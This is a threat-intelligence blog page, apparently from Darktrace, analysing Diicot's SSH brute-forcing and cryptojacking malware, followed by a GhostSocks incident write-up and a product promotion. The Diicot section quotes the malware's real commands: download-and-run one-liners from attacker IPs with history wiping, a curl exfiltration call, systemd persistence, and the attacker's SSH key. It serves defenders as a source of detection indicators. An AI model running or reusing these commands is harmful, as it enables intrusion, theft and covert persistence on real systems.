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June 15, 2023

Tracking Diicot: An Emerging Romanian Threat Actor

Cado researchers (now part of Darktrace) identified a campaign by the threat actor Diicot, focusing on SSH brute-forcing and cryptojacking. Diicot utilizes custom tools, modified packers, and Discord for C2, and has expanded its capabilities to include doxxing and DDoS attacks via a Mirai-based botnet.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
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15
Jun 2023

Introduction

In a review of honeypot sensor telemetry in early 2023, researchers from Cado Security Labs, (now part of Darktrace) detected an attack pattern that could be attributed to the threat actor Diicot (formerly, “Mexals”).

Investigation of a command-and-control (C2) server used by Diicot led to the discovery of several payloads, some of which did not appear to have any public reporting and were missing from common public malware repositories. It appears that these payloads were being used as part of a new campaign by this emerging group.  

As this blog will discuss, Diicot capabilities and objectives include:

  • The deployment of a self-propagating initial access tool
  • Use of custom packers to obfuscate binary payloads
  • Widespread cryptojacking on compromised targets
  • Identification of vulnerable systems via internet scanning
  • Personal data exposure of perceived enemies (doxxing)
  • Deployment of a botnet agent implicated in distributed denial-of-service (DDoS) attacks
  • C2 reporting via Discord and a custom API endpoint

Diicot background

Information about Diicot is sparse, but to summarize two of the available resources, they appear to have been active since at least 2020 and are known for conducting cryptojacking campaigns and developing Malware-as-a-Service (MaaS) strains. The group originally referred to themselves as Mexals but have since changed to the name Diicot. The Diicot name is significant, as it is also the name of the Romanian organized crime and anti-terrorism policing unit. In addition, artifacts from the group’s campaigns contain messaging and imagery related to this organization. This, combined with the presence of Romanian-language strings and log statements in the payloads themselves, have led prior researchers to attribute the malware to a group based in Romania [1,2].

Although Diicot have traditionally been associated with cryptojacking campaigns, researchers discovered evidence of the group deploying an off-the-shelf Mirai-based botnet agent, named Cayosin. Deployment of this agent was targeted at routers running the Linux-based embedded devices operating system, OpenWrt [3].

The use of Cayosin demonstrates Diicot’s willingness to conduct a variety of attacks (not just cryptojacking) depending on the type of targets they encounter. This finding is consistent with external research, suggesting that the group are still investing engineering effort into deploying Cayosin [4]. In doing so, Diicot have gained the ability to conduct DDoS attacks, as this is the primary objective of Cayosin according to previous reporting.

Not only do Diicot have the ability to conduct cryptojacking and DDoS attacks, but investigation of one of their servers led to the discovery of a Romanian-language video depicting a feud between the group and what appears to be other online personas.  

It is suspected that these personas are members of a rival hacking group. During the course of the video, members of the rival group are mentioned and their personal details, including photographs, home addresses, full names and online handles are exposed (known as doxxing). From this, it can be concluded that the group are actively involved in doxxing members of the public, in addition to the nefarious activities mentioned above.

For the purpose of avoiding overlap with existing research on Diicot, this blog will provide a brief overview of Diicot’s Tactics, Techniques and Procedures (TTPs) along with the execution chain employed by the group in their latest campaign, before focusing on the latest version of their self-propagating SSH brute-forcer.

Diicot TTPs

Attributing a campaign to Diicot is often straightforward, thanks to the group’s relatively distinctive TTPs. Prior research has shown that Diicot make heavy use of the Shell Script Compiler (shc) [5], presumably to make analysis of their loader scripts more difficult. They also frequently pack their payloads with a custom version of UPX, using a header modified with the bytes 0x59545399. This byte sequence is easily identified by tools, and in combination with a specified offset, can be used as a detection mechanism for the group’s binary payloads.

Modified UPX header
Figure 1: Example modified UPX header

Use of a modified UPX header prevents unpacking via the standard upx -d command. Fortunately, the upx_dec utility created by Akamai can be used to circumvent this.   Running the tool restores the header to the format that UPX expects, allowing the binary to be unpacked as normal.

Diicot also rely heavily on the instant messaging and communication platform Discord for C2. Discord supports HTTP POST requests to a webhook URL, allowing exfiltrated data and campaign statistics to be viewed within a given channel. Cado researchers identified four distinct channels used for this campaign, details of which can be found in the Indicators of Compromise (IoCs) section. Thanks to the inclusion of Snowflake timestamps in the hook URLs, it’s possible to view their creation date. This confirms that the campaign was recent and ongoing at the time of writing

Snowflake timestamp conversion
Figure 2: Snowflake timestamp conversion for main C2 webhook

All of these channels were created within an 11-minute timeframe on April 26, 2023. It is likely that an automated process is responsible for the channel creation.

Based on Discord webhook URLs discovered in the samples, it was possible to determine that the Discord account used to create them was “Haceru#1337”.

Additionally, the guild ID for the webhooks is 1100412946003275858, and the following channel IDs are used:

  • 1100669252161249321 for the webhook in the toDiscord function
  • 1100665251655069716 for the webhook in the toFilter function
  • 1100665176862232606 for the webhook in the toFilter2 function
  • 1100665020934787072 for the webhook in the toFilter3 function

The Discord hook is the Discord default “Captain Hook” webhook, but webhooks for toFilter* have the name “Filter DIICOT”.

SIAS police taskforce
Figure 3: An image of the SIAS police taskforce, which is part of the Diicot agency.

Payload execution

Diicot campaigns generally involve a long execution chain, with individual payloads and their outputs forming interdependent relationships.  

Shc executables are typically used as loaders and prepare the system for mining via Diicot’s custom fork of XMRig, along with registering persistence. Executables written in Golang tend to be dedicated to scanning, brute-forcing and propagation, and a fork of the zmap [6] internet scanning utility has often been observed.

The execution chain itself remains largely consistent with campaigns reported by the external researchers previously mentioned, with updates to the payloads themselves observed during Cado Labs’ analysis.

Chain of Execution
Figure 4: Chain of Execution

aliases

Initial access for the Diicot campaign is via a custom SSH brute-forcing tool, named aliases. This executable [7] is a 64-bit ELF written in Golang, and is responsible for ingesting a list of target IP addresses and username/password pairs to conduct a brute force attack.  

bins.sh

bins.sh is executed if aliases encounters an OpenWrt router during the initial access phase, bins.sh is a fairly generic Mirai-style spreader script that attempts to retrieve versions of the Cayosin botnet’s agent for multiple architectures.

cutie.<arch>

cutie.<arch> is a series of 32-bit ELF binaries retrieved by bins.sh if an OpenWrt router is encountered.  cutie.<arch> is a variant of Mirai, specifically Cayosin [8]. Cursory inspection of the ARM variant using open-source intelligence (OSINT) shows a high detection ratio, with most vendors detecting the executable as Mirai [9]. This suggests that the malware has not been customized by Diicot for this campaign.

payload

payload is a 64-bit ELF shc executable that simply calls out to bash and runs a shell script in memory. The script acts as a loader, preparing the target system for cryptocurrency mining, changing the password of the current user,  and installing XMRig if the target has more than four processor cores.  

When changing the user’s password, some simple logic is included to determine whether the user ID is equal to 0 (root). If so, the password is changed to a hardcoded value of $6$REY$R1FGJ.zbsJS/fe9eGkeS1pdWgKbdszOxbUs/E0KtxPsRE9jUCIXkxtC" "MJ9bB1YwOYhKWSSbr/' (inclusive of whitespace and double quotes).  

If the user is not root, “payload” will generate a password by running the date command, piping this through sha256sum and then through base64. The first eight characters of the result are then used for the password itself.  

“payload” also removes any artifacts of prior compromise (a common preparatory action taken by cryptojacking groups) and reports information such as username, password, IP address and number of cores back to an attacker-controlled IP.

.diicot

.diicot is another shc executable serving as a loader for an additional executable named Opera, which is the XMRig miner deployed by Diicot. .diicot begins with an existence check for Opera and retrieves it along with a XMRig configuration file if it doesn’t exist. The details of the mining configuration are viewable in the IoCs section.  

After retrieving and executing the miner, .diicot registers an attacker-controlled SSH key to maintain access to the system. It also creates a simple script under the path /var/tmp/Documents/.b4nd1d0 which is used to relaunch the miner if it’s not running and executes this via cron at a frequency of every minute.  

The sample also checks whether the SSH daemon is running, and executes it if not, before proceeding to automate this functionality as part of a systemd service. The service is saved as /lib/systemd/system/myservice.service and is configured to execute on boot.

echo '[Unit] 
Description=Example systemd service. 
[Service]" "=3600 
ExecStart=/bin/bash /usr/bin/sshd 
[Install] 
WantedBy=multi-user.target' > /lib/systemd/system/myservice.service 
sleep 1 
chmod 644 /lib/systemd/system/myservice.service 
systemctl enable myservice 
systemctl start myservice 

Example commands to register and load the sshd systemd service

Chrome

Chrome is an internet scanner that appears to be based on Zmap. The main difference between the Diicot fork and the original is the ability to write the scan results to a text file in the working directory, with a hardcoded name of bios.txt. This is then read by aliases as a target list for conducting SSH brute-forcing.

Update

Update is another shc executable that retrieves Chrome and aliases if they don’t exist. Update also writes out a hardcoded username/password combination list to a file named protocols in the working directory. This is also read by aliases and used for SSH brute-forcing. Update also includes logic to generate a randomised /16 network prefix. Chrome is then run against this address range. A cronjob is also created to run History and Update and is saved as .5p4rk3l5 before being loaded.

History

History is a very simple plaintext (i.e. uncompiled) shell script that checks whether Update is running and executes it if not; the results of which are logged to standard out.

Analysis of aliases

The sample of aliases we obtained was located at 45[.]88[.]67[.]94/.x/aliases. The last modified header in the HTTP response indicates that it was uploaded to the server on the May 27 when Cado researchers first obtained it, but was updated again on June 5th.

main

This is the main entry point of the go binary. Upon launch, it performs a HTTP GET request to hxxp://45[.]88[.]67[.]94/diicotapi/skema0803 (skema0803 appears to be a hardcoded API key that appears in many Diicot samples). If this fails, or the response does not contain a Discord webhook, then the malware exits with an error message stating that the API was unreachable.

The malware then calls readLines on bios.txt to load a list of IPs to attack, and again on protocols to load a space-delimited list of credentials to attack each IP with. It repeats this process twice, once for port 22, and again for port 2000.

Once this is complete, it spawns a new goroutine (a lightweight thread) for each address and credential combination, with a small delay between each spawn. The goroutine executes the remoteRun function. The main thread applies a 60 second timeout to the goroutines, and exits once there are none left.

init_0

The init_0 function appears to be the result of go optimization. It loads a number of variables into qwords in the .bss section of the binary, including a stringified shell script (referred to above as payload) that is ultimately run on compromised machines. These qwords are then used at various points in the malware.

Interestingly, there is another call here to the diicotapi, and the webhook retrieved is saved into a qword. This does not appear to be used anywhere, making it likely leftover from a previous iteration of aliases.

Figure 5: Disassembly of init_0

toDiscord  

The toDiscord function takes in a string and concatenates it into a curl command, which is then executed via bash. As they have used the go HTTP client module elsewhere, it is unclear why they have decided to use curl instead of it.

Figure 6

toFilter*

The three toFilter functions are the same as toDiscord but with different URLs. They are used later on to send details of the compromised machines to separate Discord channels based on the outcome of the payload script executed on freshly compromised machines. The payload either additionally deploys a cryptominer if the host has four or more cores or just uses the host as a spreader if it has less. It would make sense that they would want to track which hosts are being used to mine and which are being used to spread.  

toApi

The toApi function is similar to the toDiscord and toFilter functions, but sends requests to the attacker’s API. The string passed into the function is first written to /tmp/.txt, and then base64 encoded and passed into an environmental variable called “haceru” (Romanian for hacker). It then executes curl -s arhivehaceru[.]com:2121/api?haceru=$haceru to report this string back to the C2 server.

remoteRun

The remoteRun function takes in an IP, port, and credential pair. It uses the crypto/ssh go package to connect and attempt to authenticate using the details provided. After a successful login, a series of commands are executed to gather information about the compromised system:

uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }

  • This fetches the uptime of the system, which can be useful for determining if the compromised system is a sandbox, which would likely have a low uptime.

lspci | egrep VGA  && lspci | grep 3D

  • This fetches a list of graphics devices connected to the system, which can be used for mining cryptocurrency. However, Diicot’s choice of crypto is Monero, which is typically CPU mined rather than GPU mined.

lscpu | egrep "Model name:" | cut -d ' ' -f 14-

  • This fetches the model of CPU installed in the system, which will determine how quickly the server can mine Monero.

curl ipinfo.io/org

  • This fetches the organization associated with the ASN of the compromised machine's IP address.

nproc

  • This fetches the number of processes running on the compromised machine. Sandboxes and honeypots will typically have fewer running processes, so this information assists Diicot with determining if they are in a sandbox.

uname -s -v -n -r -m

  • This fetches the system hostname, kernel & operating system version information, and arch. This is used to determine whether to infect the machine or not, based on a string blacklist.

Once this is complete, the malware checks that the output of uname contains OpenWrt. If it does, it executes the following command to download bins.sh, the Mirai spreader:

<code>​​cd /var/tmp || cd /tmp/ ; wget -q hxxp://84[.]54[.]50[.]198/pedalcheta/bins.sh || curl -O -s -L hxxp://84[.]54[.]50[.]198/pedalcheta/bins.sh ; chmod 777 bins.sh; sh bins.sh ; rm -rf .* ; rm -rf * ; history -c ; rm -rf ~/.bash_history</code> 

The malware then continues (regardless of whether the system is running OpenWrt) to check the output of uname against a blacklist of strings, which include various cloud providers such as AWS, Linode, and Azure among more generic strings like specific kernel versions and specific services.  

It is unclear why exactly this is. The most likely case is that once they detect that payload did not run properly (sent via one of the toFilter webhooks) they simply blacklist the uname to avoid trying to infect it in the future. It could also be to prevent the malware from running on honeypots, or cloud providers that are likely to detect the cryptominer. It also checks the architecture of the system, as Opera, the custom fork of XMRig, appears to be x86_64 only.

Once these checks have passed, the malware then runs the following script on the compromised host, which downloads and runs the shell script payload:

<code>crontab -r ; cd /var/tmp ; rm -rf /dev/shm/.x ; mkdir /var/tmp/Documents &gt; /dev/null 2&gt;&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ; wget -q arhivehaceru[.]com/payload || curl -O -s -L arhivehaceru[.]com/payload || wget -q 45[.]88[.]67[.]94/payload || curl -O -s -L 45[.]88[.]67[.]94/payload ; chmod 777 payload ; ./payload &gt; /dev/null 2&gt;&1 & disown ; history -c ; rm -rf .bash_history ~/.bash_history</code> 

Depending on the environment, payload performs different functions. It either additionally deploys a cryptominer if the host has four or more cores, or just uses the host as a spreader if it has less. To keep track of this, one of the three toFilter methods will be used depending on the output of the executed command. It constructs a Discord embed, and puts the credentials, IP, SSH port (22 or 2000), and output of the commands run during the discovery phase and invokes the chosen toFilter function with this data in JSON form.

Regardless of the toFilter function chosen, the same embed is also passed to toDiscord and toApi.

readLines

The readLines function is a utility function that takes in a file path and reads it into a list of lines. This function is used to load in the IP addresses to attack and the credential combinations to try against them.

Figure 7: Snippet of readLines disassembly

Conclusion

Diicot are an emerging threat group with a range of objectives and the technical knowledge to act on them. This campaign specifically targets SSH servers exposed to the internet with password authentication enabled. The username/password list they use is relatively limited and includes default and easily-guessed credential pairs.  

The research team encourages readers to implement basic SSH hardening to defend against this malware family, including mandatory key-based authentication for SSH instances and implementation of firewall rules to limit SSH access to specific IPs.  

A lengthy and convoluted execution chain can make analysis of a Diicot campaign feel laborious. The group also employs basic obfuscation techniques, such as compiling shell scripts with shc and using a modified UPX header for their binary payloads. These techniques are easily bypassed as an analyst, often revealing executables without further obfuscation and with debug symbols intact.  

The payloads themselves are often noisy in their operation, as is expected with any brute-forcing malware. Scanning attempts from Diicot’s fork of Zmap are particularly noisy and can result in a multitude of outbound SYN packets to addresses within a random /16 network prefix. This activity should be easily identified by administrators with adequate network monitoring in place.

Indicators of compromise

Discord webhooks

hxxps://discord[.]com/api/webhooks/1100669270297419808/UQ2bkUBe9JgAhtEIPYqpqKG6YVRW1fqEkadAY3u6PPmcgEVcYaSRiS37JILi2Vk32or6

hxxps://discord[.]com/api/webhooks/1100666861424754708/pAzInuz8ekK5DmKyoKxmG4H8euCtLkBXZnS33EGnxdl0_hkL5OdRbInQqgdGiQ1U41WF

hxxps://discord[.]com/api/webhooks/1100666766339866694/ex_yUegpCF4NXGkT3sGFp3oWFUkJWE7XarcgTHRcAwmJQtG4pALhcj6PjKUTthNz_0u_

hxxps://discord[.]com/api/webhooks/1100666664623812650/_t9NyLTT_Rbg_Vr14n6YCBkseXrz-RpSe94SFIw-1Pyrkns80tU9uWJL3yjc3eLXo0IU

URLs

arhivehaceru[.]com

Files : SHA-256

Update : 437af650493492c8ef387140b5cb2660044764832d1444e5265a0cd3fe6e0c39

aliases : de6dff4d3de025b3ac4aff7c4fab0a9ac4410321f4dca59e29a44a4f715a9864

aliases (variant) : a163da5c4d6ee856a06e4e349565e19a704956baeb62987622a2b2c43577cdee

Chrome : 14779e087a764063d260cafa5c2b93d7ed5e0d19783eeaea6abb12d17561949a

History : e9bbe9aecfaea4c738d95d0329a5da9bd33c04a97779172c7df517e1a808489c

.diicot : 7389e3aada70d58854e161c98ce8419e7ab8cd93ecd11c2b0ca75c3cafed78cb

bins.sh : 180d30bf357bc4045f197b26b1b8941af9ca0203226a7260092d70dd15f3e6ab

cutie.x86_64 : 7d93419e78647d3cdf2ff53941e8d5714afe09cb826fd2c4be335e83001bdabf

payload : d0e8a398a903f1443a114fa40860b3db2830488813db9a87ddcc5a8a337edd73

… : 6bce1053f33078f3bbbd526162d9178794c19997536b821177f2cb0d4e6e6896

Opera : aabf2ef1e16a88ae0d802efcb2525edb90a996bb5d280b4c61d2870351e3fba4

IP addresses

45[.]88[.]67[.]94

84[.]54[.]50[.]198

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoBjnno5GBoIuIYIhrJsQxF6OPHtAbOUIEFB+gdfb1tUTjs+f9zCMGkmNmH45fYVukw6IwmhTZ+AcD3eD "iImmgU9wlw/lalf/WrIuCDp0PArQtjNg/vo7HUGq9SrEIE2jvyVW59mvoYOwfnDLUiguKZirZgpjZF2DDKK6WpZVTVpKcH+HEFdmFAqJInem/CRUE0bqjMr88bUyDjVw9FtJ5EmQenctjrFVaB7hswOaJBmFQmn9G/BXkMvZ6mX7LzCUM2PVHnVfVeCLdwiOINikzW9qzlr8WoHw4qEGJLuQBWXjJu+m2+FdaOD6PL53nY3w== ElPatrono1337

Mining pools

45[.]88[.]67[.]94:7777

139[.]99[.]123[.]196:80

pool[.]supportxmr[.]com:80

Mining pool usernames

87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe

87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe

87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe

Mining pool passwords

proxy0

proxy1

proxy2

Paths

/var/tmp/Documents/

/var/tmp/Documents/.b4nd1d0

/var/tmp/Documents/.5p4rk3l5

/var/tmp/Documents/Opera

/var/tmp/Documents/.diicot

/var/tmp/.update-logs

/tmp/...

/var/tmp/.ladyg0g0/

/var/tmp/.ladyg0g0/.pr1nc35

/lib/systemd/system/myservice.service

/usr/bin/.pidsclip

/usr/bin/.locatione

References

  1. https://www.akamai.com/blog/security-research/mexals-cryptojacking-malware-resurgence   ‍
  2. https://www.bitdefender.com/en-gb/blog/labs/how-we-tracked-a-threat-group-running-an-active-cryptojacking-campaign 
  3. https://openwrt.org/
  4. https://securityaffairs.com/80858/cyber-crime/cayosin-botnet-mmd.html  
  5. https://github.com/neurobin/shc
  6. https://zmap.io/
  7. https://www.virustotal.com/gui/file/de6dff4d3de025b3ac4aff7c4fab0a9ac4410321f4dca59e29a44a4f715a9864
  8. https://twitter.com/malwaremustd1e/status/1297821500435726336?lang=en
  9. https://www.virustotal.com/gui/file/b328bfa242c063c8cfd33bc8ce82abeefc33b5f8e34d0515875216a322954b01
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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March 31, 2026

Phantom Footprints: Tracking GhostSocks Malware

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Why are attackers using residential proxies?

In today's threat landscape, blending in to normal activity is the key to success for attackers and the growing reliance on residential proxies shows a significant shift in how threat actors are attempting to bypass IP detection tools.

The increasing dependency on residential proxies has exposed how prevalent proxy services are and how reliant a diverse range of threat actors are on them. From cybercriminal groups to state‑sponsored actors, the need to bypass IP detection tools is fundamental to the success of these groups. One malware that has quietly become notorious for its ability to avoid anomaly detection is GhostSocks, a malware that turns compromised devices into residential proxies.

What is GhostSocks?

Originally marketed on the Russian underground forum xss[.]is as a Malware‑as‑a‑Service (MaaS), GhostSocks enables threat actors to turn compromised devices into residential proxies, leveraging the victim's internet bandwidth to route malicious traffic through it.

How does Ghostsocks malware work? 

The malware offers the threat actor a “clean” IP address, making it look like it is coming from a household user. This enables the bypassing of geographic restrictions and IP detection tools, a perfect tool for avoiding anomaly detection. It wasn’t until 2024, when a partnership was announced with the infamous information stealer Lumma Stealer, that GhostSocks surged into widespread adoption and alluded to who may be the author of the proxy malware.

Written in GoLang, GhostSocks utilizes the SOCKS5 proxy protocol, creating a SOCKS5 connection on infected devices. It uses a relay‑based C2 implementation, where an intermediary server sits in between the real command-and-control (C2) server and the infected device.

How does Ghostsocks malware evade detection?

To further increase evasion, the Ghostsocks malware wraps its SOCKS5 tunnels in TLS encryption, allowing its malicious traffic to blend into normal network traffic.

Early variants of GhostSocks do not implement a persistence mechanism; however, later versions achieve persistence via registry run keys, ensuring sustained proxy operational time [1].

While proxying is its primary purpose, GhostSocks also incorporates backdoor functionality, enabling malicious actors to run arbitrary commands and download and deploy additional malicious payloads. This was evident with the well‑known ransomware group Black Basta, which reportedly used GhostSocks as a way of maintaining long‑term access to victims’ networks [1].

Darktrace’s detection of GhostSocks Malware

Darktrace observed a steady increase in GhostSocks activity across its customer base from late 2025, with its Threat Research team identifying multiple incidents involving the malware. In one notable case from December 2025, Darktrace detected GhostSocks operating alongside Lumma Stealer, reinforcing that the partnership between Lumma and GhostSocks remains active despite recent attempts to disrupt Lumma’s infrastructure.

Darktrace’s first detection of GhostSocks‑related activity came when a device on the network of a customer in the education sector began making connections to an endpoint with a suspicious self‑signed certificate that had never been seen on the network before.

The endpoint in question, 159.89.46[.]92 with the hostname retreaw[.]click, has been flagged by multiple open‑source intelligence (OSINT) sources as being associated with Lumma Stealer’s C2 infrastructure [2], indicating its likely role in the delivery of malicious payloads.

Darktrace’s detection of suspicious SSL connections to retreaw[.]click, indicating an attempted link to Lumma C2 infrastructure.
Figure 1: Darktrace’s detection of suspicious SSL connections to retreaw[.]click, indicating an attempted link to Lumma C2 infrastructure.

Less than two minutes later, Darktrace observed the same device downloading the executable (.exe) file “Renewable.exe” from the IP 86.54.24[.]29, which Darktrace recognized as 100% rare for this network.

Darktrace’s detection of a device downloading the unusual executable file “Renewable.exe”.
Figure 2: Darktrace’s detection of a device downloading the unusual executable file “Renewable.exe”.

Both the file MD5 hash and the executable itself have been identified by multiple OSINT vendors as being associated with the GhostSocks malware [3], with the executable likely the backdoor component of the GhostSocks malware, facilitating the distribution of additional malicious payloads [4].

Following this detection, Darktrace’s Autonomous Response capability recommended a blocking action for the device in an early attempt to stop the malicious file download. In this instance, Darktrace was configured in Human Confirmation Mode, meaning the customer’s security team was required to manually apply any mitigative response actions. Had Autonomous Response been fully enabled at the time of the attack, the connections to 86.54.24[.]29 would have been blocked, rendering the malware ineffective at reaching its C2 infrastructure and halting any further malicious communication.

 Darktrace’s Autonomous Response capability suggesting blocking the suspicious connections to the unusual endpoint from which the malicious executable was downloaded.
Figure 3: Darktrace’s Autonomous Response capability suggesting blocking the suspicious connections to the unusual endpoint from which the malicious executable was downloaded.

As the attack was able to progress, two days later the device was detected downloading additional payloads from the endpoint www.lbfs[.]site (23.106.58[.]48), including “Setup.exe”, “,.exe”, and “/vp6c63yoz.exe”.

Darktrace’s detection of a malicious payload being downloaded from the endpoint www.lbfs[.]site.
Figure 4: Darktrace’s detection of a malicious payload being downloaded from the endpoint www.lbfs[.]site.

Once again, Darktrace recognized the anomalous nature of these downloads and suggested that a “group pattern of life” be enforced on the offending device in an attempt to contain the activity. By enforcing a pattern of life on a device, Darktrace restricts its activity to connections and behaviors similar to those performed by peer devices within the same group, while still allowing it to carry out its expected activity, effectively preventing deviations indicative of compromise while minimizing disruption. As mentioned earlier, these mitigative actions required manual implementation, so the activity was able to continue. Darktrace proceeded to suggest further actions to contain subsequent malicious downloads, including an attempt to block all outbound traffic to stop the attack from progressing.

An overview of download activity and the Autonomous Response actions recommended by Darktrace to block the downloads.
Figure 5: An overview of download activity and the Autonomous Response actions recommended by Darktrace to block the downloads.

Around the same time, a third executable download was detected, this time from the hostname hxxp[://]d2ihv8ymzp14lr.cloudfront.net/2021-08-19/udppump[.]exe, along with the file “udppump.exe”.While GhostSocks may have been present only to facilitate the delivery of additional payloads, there is no indication that these CloudFront endpoints or files are functionally linked to GhostSocks. Rather, the evidence points to broader malicious file‑download activity.

Shortly after the multiple executable files had been downloaded, Darktrace observed the device initiating a series of repeated successful connections to several rare external endpoints, behavior consistent with early-stage C2 beaconing activity.

Cyber AI Analyst’s investigation

Darktrace’s detection of additional malicious file downloads from malicious CloudFront endpoints.
Figure 7: Darktrace’s detection of additional malicious file downloads from malicious CloudFront endpoints.

Throughout the course of this attack, Darktrace’s Cyber AI Analyst carried out its own autonomous investigation, piecing together seemingly separate events into one wider incident encompassing the first suspicious downloads beginning on December 4, the unusual connectivity to many suspicious IPs that followed, and the successful beaconing activity observed two days later. By analyzing these events in real-time and viewing them as part of the bigger picture, Cyber AI Analyst was able to construct an in‑depth breakdown of the attack to aid the customer’s investigation and remediation efforts.

Cyber AI Analyst investigation detailing the sequence of events on the compromised device, highlighting its extensive connectivity to rare endpoints, the related malicious file‑download activity, and finally the emergence of C2 beaconing behavior.
Figure 8: Cyber AI Analyst investigation detailing the sequence of events on the compromised device, highlighting its extensive connectivity to rare endpoints, the related malicious file‑download activity, and finally the emergence of C2 beaconing behavior.

Conclusion

The versatility offered by GhostSocks is far from new, but its ability to convert compromised devices into residential proxy nodes, while enabling long‑term, covert network access—illustrates how threat actors continue to maximise the value of their victims’ infrastructure. Its growing popularity, coupled with its ongoing partnership with Lumma, demonstrates that infrastructure takedowns alone are insufficient; as long as threat actors remain committed to maintaining anonymity and can rapidly rebuild their ecosystems, related malware activity is likely to persist in some form.

Credit to Isabel Evans (Cyber Analyst), Gernice Lee (Associate Principal Analyst & Regional Consultancy Lead – APJ)
Edited by Ryan Traill (Content Manager)

Appendices

References

1.    https://bloo.io/research/malware/ghostsocks

2.    https://www.virustotal.com/gui/domain/retreaw.click/community

3.    https://synthient.com/blog/ghostsocks-from-initial-access-to-residential-proxy

4.    https://www.joesandbox.com/analysis/1810568/0/html

5. https://www.virustotal.com/gui/url/fab6525bf6e77249b74736cb74501a9491109dc7950688b3ae898354eb920413

Darktrace Model Detections

Real-time Detection Models

Anomalous Connection / Suspicious Self-Signed SSL

Anomalous Connection / Rare External SSL Self-Signed

Anomalous File / EXE from Rare External Location

Anomalous File / Multiple EXE from Rare External Locations

Compromise / Possible Fast Flux C2 Activity

Compromise / Large Number of Suspicious Successful Connections

Compromise / Large Number of Suspicious Failed Connections

Compromise / Sustained SSL or HTTP Increase

Autonomous Response Models

Antigena / Network / Significant Anomaly / Antigena Significant Anomaly from Client Block

Antigena / Network / External Threat / Antigena Suspicious File Block

Antigena / Network / Significant Anomaly / Antigena Controlled and Model Alert

Antigena / Network / External Threat / Antigena File then New Outbound Block

Antigena / Network / Significant Anomaly / Antigena Alerts Over Time Block

Antigena / Network / External Threat / Antigena Suspicious Activity Block

MITRE ATT&CK Mapping

Tactic – Technique – Sub-Technique

Resource Development – T1588 - Malware

Initial Access - T1189 - Drive-by Compromise

Persistence – T1112 – Modify Registry

Command and Control – T1071 – Application Layer Protocol

Command and Control – T1095 – Non-application Layer Protocol

Command and Control – T1071 – Web Protocols

Command and Control – T1571 – Non-Standard Port

Command and Control – T1102 – One-Way Communication

List of Indicators of Compromise (IoCs)

86.54.24[.]29 - IP - Likely GhostSocks C2

http[://]86.54.24[.]29/Renewable[.]exe - Hostname - GhostSocks Distribution Endpoint

http[://]d2ihv8ymzp14lr.cloudfront[.]net/2021-08-19/udppump[.]exe - CDN - Payload Distribution Endpoint

www.lbfs[.]site - Hostname - Likely C2 Endpoint

retreaw[.]click - Hostname - Lumma C2 Endpoint

alltipi[.]com - Hostname - Possible C2 Endpoint

w2.bruggebogeyed[.]site - Hostname - Possible C2 Endpoint

9b90c62299d4bed2e0752e2e1fc777ac50308534 - SHA1 file hash – Likely GhostSocks payload

3d9d7a7905e46a3e39a45405cb010c1baa735f9e - SHA1 file hash - Likely follow-up payload

10f928e00a1ed0181992a1e4771673566a02f4e3 - SHA1 file hash - Likely follow-up payload

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About the author
Isabel Evans
Cyber Analyst

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March 24, 2026

Darktrace Unites Human Behavior and Threat Detection Across Email, Slack, Teams, and Zoom

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The communication attack surface is expanding

Modern attackers no longer focus solely on inboxes, they target people and the productivity systems where work actually happens. Meanwhile, the boundary between internal and external usage of tools is becoming blurrier everyday – turning the entire workplace into the attack surface. In 2025, identity compromise emerged as the single most consistent threat across the global threat landscape, as observed by Darktrace research across our entire customer base. Over 70% of incidents in the US involved SaaS/M365 account compromise and phishing or email-based social engineering, making credential abuse the single most effective initial access vector.

Despite this upward trend, investment in existing security awareness training (SAT) isn’t moving the needle on reducing risk. 84% of organizations still measure success through completion rates1, even though completion of standard training correlates with less than 2% real improvement in risky behavior.2 By prioritizing completion, organizations reward time spent rather than meaningful engagement, yet time in training doesn’t translate to retention or real-world decision-making. This compliance-first approach has left the workforce unprepared for the threats they actually face.

At the same time, attacks have evolved. Highly personalized, AI-generated campaigns now move fluidly across email, Slack, Teams, Zoom, and beyond, blending channels and even targeting systems directly through techniques like prompt injection. This new reality demands a different approach: one that treats people and the tools they use as a single ecosystem, where behavior and detection continuously inform and strengthen each other.

Only an adaptive communication security system can keep pace with the speed, creativity, and cross channel nature of today’s threats. 

Ushering in the adaptive era of workplace security

With this release, Darktrace brings together our new behavior-driven training solution with email detection, cross-channel visibility, and platform-level insights. Powered by Self-Learning AI, it delivers protection across both people and the communication tools they rely on every day, including email, Slack, Teams, and Zoom.

Each component learns from the others – training adapts to real user behavior, detection evolves across channels, and response is continuously refined – creating a powerful feedback loop that strengthens resilience and improves accuracy against today’s AI-driven threats.

Introducing: Unified training and email security for a self-improving email defense

Our brand new product, Darktrace / Adaptive Human Defense, closes the gap between human behavior and email security to continuously strengthen both people and defenses. Each user receives personalized training that adapts to their own inbox activity and skill level, with learning delivered directly within the flow of their day-to-day email interactions.

By learning from each user’s interactions with security training, it adapts security responses, creating a closed-loop system where training reinforces detection and detection informs training. Let’s look at some of the benefits.

  • Reduce successful phishing at the source with contextual Just in Time coaching: Contextual coaching appears directly in real email threads the moment risky behavior is detected, so habits change where mistakes actually happen. Configurable triggers and group policies target the right users, reducing repeated errors and administrative overhead.
